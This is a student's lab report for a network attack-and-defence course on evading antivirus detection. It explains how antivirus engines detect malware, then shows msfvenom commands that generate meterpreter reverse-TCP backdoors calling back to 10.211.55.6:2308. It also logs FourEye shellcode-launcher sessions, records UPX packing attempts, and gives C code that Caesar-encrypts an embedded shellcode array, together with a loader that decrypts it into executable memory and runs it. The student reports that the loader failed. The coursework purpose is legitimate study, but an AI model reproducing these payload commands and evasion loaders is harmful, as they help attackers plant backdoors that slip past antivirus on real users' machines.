20222308 2024-2025-3 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 实验要求
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 问题解答
- 杀软是如何检测出恶意代码的?
(1)检测特征码
人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
(2)启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
(3)基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
- 免杀是做什么?
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 免杀的基本方法有哪些?
改变特征码:在不影响程序功能的情况下,依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码(直接修改特征码的十六进制法、修改字符串大小写法、等价替换法、指令顺序调换法、通用跳转法)
加花:就是加入一些花里胡哨的指令来迷惑杀软,让杀软检测不到特征码,但是一些厉害的杀软还可以看破这些。
加壳:就是给含有恶意代码的程序加一个外包装,使其无法进行逆向比对病毒库中的特征码。但运行时需要载入内存,在载入内存之时,需要先自我脱壳才能运行,因此也能被查杀。
改程序入口点
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 生成后门文件,用VirusTotal测试一下
(1)linux终端输入
msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=10.211.55.6 LPORT=2308 -f macho > 202222308ljt.macho
(2)使用VirusTotal工具,对可执行后门文件进行扫描
https://www.virustotal.com/ (Virus Total 官网)
有64个病毒引擎的扫描结果。
选项卡中显示的是对PE文件的静态分析结果:
VirusTotal是一款由谷歌旗下的Chronicle运营的免费在线服务,它可以帮助用户检测URL、文件、IP地址和域名是否包含恶意软件、钓鱼网站以及其他安全威胁。通过集成多种防病毒引擎、网站扫描器和其他安全工具,VirusTotal提供了一站式的全面安全扫描和分析服务。
(3)测试编码次数对免杀效果的影响
msfvenom -p linux/aarch64/meterpreter/reverse_tcp x64/shikata_ga_nai -i 10 -b '\x00' LHOST=10.211.55.6 LPORT=2308 -f macho > 202222308ljt1.macho
平台 : linux/aarch64,指的是Linux平台,使用ARM架构(64位)。
负载类型 :meterpreter/reverse_tcp,针对Linux ARM架构的Meterpreter反向TCP负载。
-b '\x00' :'\x00'(空字符)会被排除,因为它可能会导致字符串结束。
-i 10 :指定生成的有效负载的迭代次数,以增加负载的复杂性和多样性。这里是10次,之后分别生成了20次和50次。
送去给virus total 进行扫描。(扫描结果是一样的,生成的是一摸一样的四份文件)
查找一番,可能是由于的编码器(比如这个x64/shikata_ga_nai)在相同输入条件下生成的输出相同,那么即使迭代次数不同,结果也可能一样。某些编码器的工作机制可能导致重复的输出。
这里有一篇文章,是关于msf生成shellcode相关操作。
https://www.offsec.com/metasploit-unleashed/generating-payloads/
尝试生成其他类型文件,送去扫描,看一下风险。
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.6 LPORT=2308 -f jar > 20222308ljt4.jar
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.6 LPORT=2308 -e x64/shikata_ga_nai -i 10 -f jar > 20222308ljt5.jar
迭代十次之后,检测结果没有变化。(奇怪嘞)
生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.211.55.6 LPORT=2308 - f raw › 20222308ljt6. php
生成python文件
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.211.55.6 LPORT=2308 -f raw -o 2308ljt7.py
2.1.2 使用veil-evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。
到GitHub上面进行查询,veil仅支持x86,好吧我的电脑还是用不了这个工具。
既然目的是做到免杀,无论是使用工具的替换,还是自己编写程序,达到一样的目标应该就可以了吧。
首先生成raw文件。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.6 LPORT=7788 -f raw -o shell1.raw
送去virus total
这里使用了另一种免杀工具 FourEye, 用于快速生成免杀的 EXE 可执行文件,目前拥有三种免杀方法。
https://gitcode.com/gh_mirrors/fo/FourEye/overview?utm_source=csdn_github_accelerator&isLogin=1
https://blog.csdn.net/reaido/article/details/113398537?ops_request_misc=&request_id=&biz_id=102&utm_term=FourEye&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-9-113398537.142v100pc_search_result_base7&spm=1018.2226.3001.4187
使用FourEye工具
启动python3 BypassFramework.py
FourEye >>shellcode
FourEye(shellcode) >>list
[+] BypassAV1:Shellcode Launcher using Fibers
[+] BypassAV2:Shellcode Launcher using QueueUserAPC
[+] BypassAV3:Shellcode Launcher using PNG
[+] BypassAV4:Shellcode Launcher using UUID
FourEye(shellcode) >>1
FourEye(shellcode_bypass1) >>xor
Please input Shellcode: >>'/home/ljt/test1024.exe'
[Errno 2] No such file or directory: "'/home/ljt/test1024.exe' "FourEye(shellcode_bypass1) >>x64
FourEye(shellcode_bypass1) >>xor
Please input Shellcode: >>test1024.exe
[Errno 2] No such file or directory: 'test1024.exe'FourEye(shellcode_bypass1) >>xor
Please input Shellcode: >>test1024.exe
FourEye(shellcode_bypass1) >>execute
[+]shellcode compoile at /root/shellcode.exe
生成的shellcode.exe
免杀之后漏洞更多了,我也是服了。
使用list中的第二种方法,生成shellcode.exe
FourEye(shellcode_bypass1) >>back
FourEye(shellcode) >>list
[+] BypassAV1:Shellcode Launcher using Fibers
[+] BypassAV2:Shellcode Launcher using QueueUserAPC
[+] BypassAV3:Shellcode Launcher using PNG
[+] BypassAV4:Shellcode Launcher using UUID
FourEye(shellcode) >>2
FourEye(shellcode_bypass2) >>x64
FourEye(shellcode_bypass2) >>xor
Please input Shellcode: >>shell.raw
FourEye(shellcode_bypass2) >>execute
[+]shellcode compoile at /root/shellcode.exe
使用第三种方法
FourEye(shellcode_bypass2) >>back
FourEye(shellcode) >>list
[+] BypassAV1:Shellcode Launcher using Fibers
[+] BypassAV2:Shellcode Launcher using QueueUserAPC
[+] BypassAV3:Shellcode Launcher using PNG
[+] BypassAV4:Shellcode Launcher using UUID
FourEye(shellcode) >>3
FourEye(shellcode_bypass3) >>png
Please input Shellcode: >>shell.row
mv: cannot stat 'shell.row': No such file or directory
FourEye(shellcode_bypass3) >>shell.raw
FourEye(shellcode_bypass3) >>x64
FourEye(shellcode_bypass3) >>png
Please input Shellcode: >>shell.raw
FourEye(shellcode_bypass3) >>execute
[+]shellcode compoile at /root/shellcode.exe
2.1.3 UPX进行加壳
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。加壳,顾名思义,就是给一个东西加上一个壳,只不过这里是程序。就好比这大自然中的种子一样,为了保护自己,有一层壳,要想看到里面的东西,就要剥开这层壳。
* 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
* 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
UPX 的工作原理
UPX 的工作原理类似于普通的文件压缩工具,比如 ZIP 或 RAR,但它专注于可执行文件。UPX 会对可执行文件中的代码和数据段进行压缩,同时在文件头部添加一个小型解压程序。当你运行被压缩的可执行文件时,这个解压程序会首先运行,负责将压缩的数据段恢复到内存中,然后继续执行原始程序的代码。
这种方法的优势在于,解压过程是瞬时的,并且只在文件首次加载时进行,因此对运行时性能影响极小。
下载安装upx
wget https://github.com/upx/upx/releases/download/v3.96/upx-3.96-amd64_linux.tar.xz
tar -Jxf upx*.tar.xz
cp upx*/upx /usr/bin
gcc -static -o demo demo.c(静态编译)
upx demo
对之前生成好的exe文件进行加壳处理,但是我这台机子一直报错
ljt@root20222308:~$ upx '/home/ljt/Desktop/gongfangtest3/20222308ljt1025.exe' -o 20222308ljt1029.exe
No help topic for '/home/ljt/Desktop/gongfangtest3/20222308ljt1025.exe'
查询无果!
2.1.4 使用C + shellcode编程
msfvenom -p ![](https://img2024.cnblogs.com/blog/3528224/202410/3528224-20241029170851115-177513581.png) LHOST=10.211.55.6 LPORT=2308 -f c
打开一个新终端,输入touch 20222308.c,新建20222308.c文件,输入vim 20222308.c,编辑这个文件
按i键进入编辑模式,将使用msfvenom生成的buf[]数组复制粘贴到打开的文件中,并输入C语言代码,代码如下
之后输入 i686-w64-mingw32-g++ 20222308.c -o 20222308.exe
(可能需要手动下载)
然后送去VT扫描
2.1.5 通过组合应用各种技术实现恶意代码免杀
生成shellcode 编译c++文件,运行,生成加密后文件作为后门。
#include <stdio.h>
#include<string.h>
//凯撒加密函数,适用于unsigned char数组
void caesarEncrypt(unsigned char *data, size_t length, int shift) {
for (size_t i = 0; i < length; i++) {
// 对每个字节进行位移
data[i]= (data[i] + shift) & 0xFF;
}
}
int main( ) {
unsigned char shellcode1[] =
"\xe0\x03\x1f\xaa\x01\x29\x80\xd2\x42\x00\x80\xd2\x43\x00"
"\x82\xd2\xe4\x03\x3f\xaa\xe5\x03\x1f\xaa\xd0\x07\x00\x58"
"\x01\x00\x00\xd4\x1f\x04\x00\xb1\x00\x06\x00\x54\xec\x03"
"\x00\xaa\x0a\x00\x80\xd2\x4b\x06\x00\x10\x6b\x01\x40\xf9"
"\x40\x00\x80\xd2\x21\x00\x80\xd2\x02\x00\x80\xd2\xb0\x06"
"\x00\x58\x01\x00\x00\xd4\xed\x03\x00\xaa\x01\x05\x00\x10"
"\x21\x00\x40\xf9\xe1\x8f\x1f\xf8\xe1\x03\x00\x91\x02\x02"
"\x80\xd2\xf0\x05\x00\x58\x01\x00\x00\xd4\xe0\x03\x0d\xaa"
"\xe1\x03\x0c\xaa\x02\x29\x80\xd2\x03\x08\x80\xd2\xe4\x03"
"\x1f\xaa\xe5\x03\x1f\xaa\x30\x05\x00\x58\x01\x00\x00\xd4"
"\xe0\x03\x0c\xaa\x01\x29\x80\xd2\xa2\x00\x80\xd2\xd0\x04"
"\x00\x58\x01\x00\x00\xd4\x80\x01\x1f\xd6\x6b\x05\x00\xd1"
"\x7f\x01\x00\xf1\xc0\x01\x00\x54\x00\x00\x80\xd2\x01\x00"
"\x80\xd2\x42\x02\x00\x10\x42\x00\x40\xf9\x43\x02\x00\x10"
"\x63\x00\x40\xf9\xe3\x0b\xbf\xa9\xe4\x03\x00\x91\x02\x00"
"\x80\xd2\x03\x00\x80\xd2\x10\x03\x00\x58\x01\x00\x00\xd4"
"\xce\xfa\xff\x54\x20\x00\x80\xd2\xd0\x02\x00\x58\x01\x00"
"\x00\xd4\x00\x02\x09\x04\x0a\xd3\x37\x06\x0a\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x05\x00\x00\x00\xc5\x00\x00\x02\x00\x00\x00\x00"
"\x61\x00\x00\x02\x00\x00\x00\x00\x62\x00\x00\x02\x00\x00"
"\x00\x00\x1d\x00\x00\x02\x00\x00\x00\x00\x4a\x00\x00\x02"
"\x00\x00\x00\x00\x5d\x00\x00\x02\x00\x00\x00\x00\x01\x00"
"\x00\x02\x00\x00\x00\x00";
int shift =3;
printf("original: ");
for (size_t i = 0; i < 510; i++) {
printf("\\x%02x",shellcode1[i]);
}
printf("\n");
caesarEncrypt(shellcode1,510,shift);
printf("Encrypted:");
for (size_t i =0;i< 510; i++){
printf("\\x%02x",shellcode1[i]);
}
printf("\n");
FILE *file = fopen("2310encrypt.txt", "w");
if (file != NULL) {
for (size_t i = 0; i < 510; i++) {
fprintf(file, "\\x%02x", shellcode1[i]);
}
fprintf(file, "\n");
fclose(file);
} else {
printf("Error opening file!\n");
}
return 0;
}
新建一个decrypt文件
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h> // 用于内存分配
#include <unistd.h> // 用于获取页面大小
// 凯撒解密函数,适用于 unsigned char 数组
void caesarDecrypt(unsigned char *data, size_t length, int shift) {
for (size_t i = 0; i < length; i++) {
// 对每个字节进行位移
data[i] = (unsigned char)((data[i] - shift + 256) % 256);
}
}
int main() {
int shift = 3; // 凯撒加密的位移值
unsigned char shellcode1[511]; // 假设文件中的内容不超过510字节
char line[1024]; // 用于读取文件的临时缓冲区
// 打开文件
FILE *file = fopen("2310encrypt.txt", "r");
if (file == NULL) {
perror("Error opening file");
return 1;
}
// 读取文件内容到 shellcode1 数组中
size_t length = 0;
while (fgets(line, sizeof(line), file)) {
// 将读取的十六进制字符串转换为字节并存储在 shellcode1 中
for (size_t i = 0; line[i] != '\0' && line[i] != '\n'; i++) {
if (sscanf(&line[i], "\\x%02hhx", &shellcode1[length]) == 1) {
length++;
}
}
}
fclose(file);
// 解密 shellcode
caesarDecrypt(shellcode1, length, shift);
size_t pageSize = getpagesize();
void *exec = mmap(NULL, pageSize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec == MAP_FAILED) {
perror("mmap failed");
return 1;
}
memcpy(exec, shellcode1, length);
((void(*)())exec)();
munmap(exec, pageSize);
return 0;
}
以上代码只适用于window操作系统,我更改了库以及空间分配规则,但是运行之后还是会报错……
唉,无力感
2.2 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
mac没有杀毒软件
由于上一个实验解密没有成功,所以这一步没有完成
3.问题及解决方案
- 问题1:veil无法在arm架构下使用
- 问题1解决方案:镇定自若,寻找可替代的工具。这里使用了另一种免杀工具 FourEye, 用于快速生成免杀的 EXE 可执行文件,目前拥有三种免杀方法。具体过程在上面的实验报告中已经提到了
- 问题2:加密技术没有实验成功
- 问题2解决方案:不知道,心累
4.学习感悟、思考等
这次实验战线拉的很长,以往学长学姐的代码对我的帮助不是很大。实验中,我接触了一些免杀工具,也学习了msf编码、veil免杀、加壳等一系列的免杀方法。在免杀的过程中自己更是在网络上查找了大量的教程,一遍一遍的敲入命令,进行实验,但是通过VT检测的结果并没有发现有特别大的差别。自己之后也会借用其他人windows上的杀毒软件,来体会一下目前杀毒软件的检测水平。最后的最后,怎么才实验三呀,我真的做不动了,很痛苦。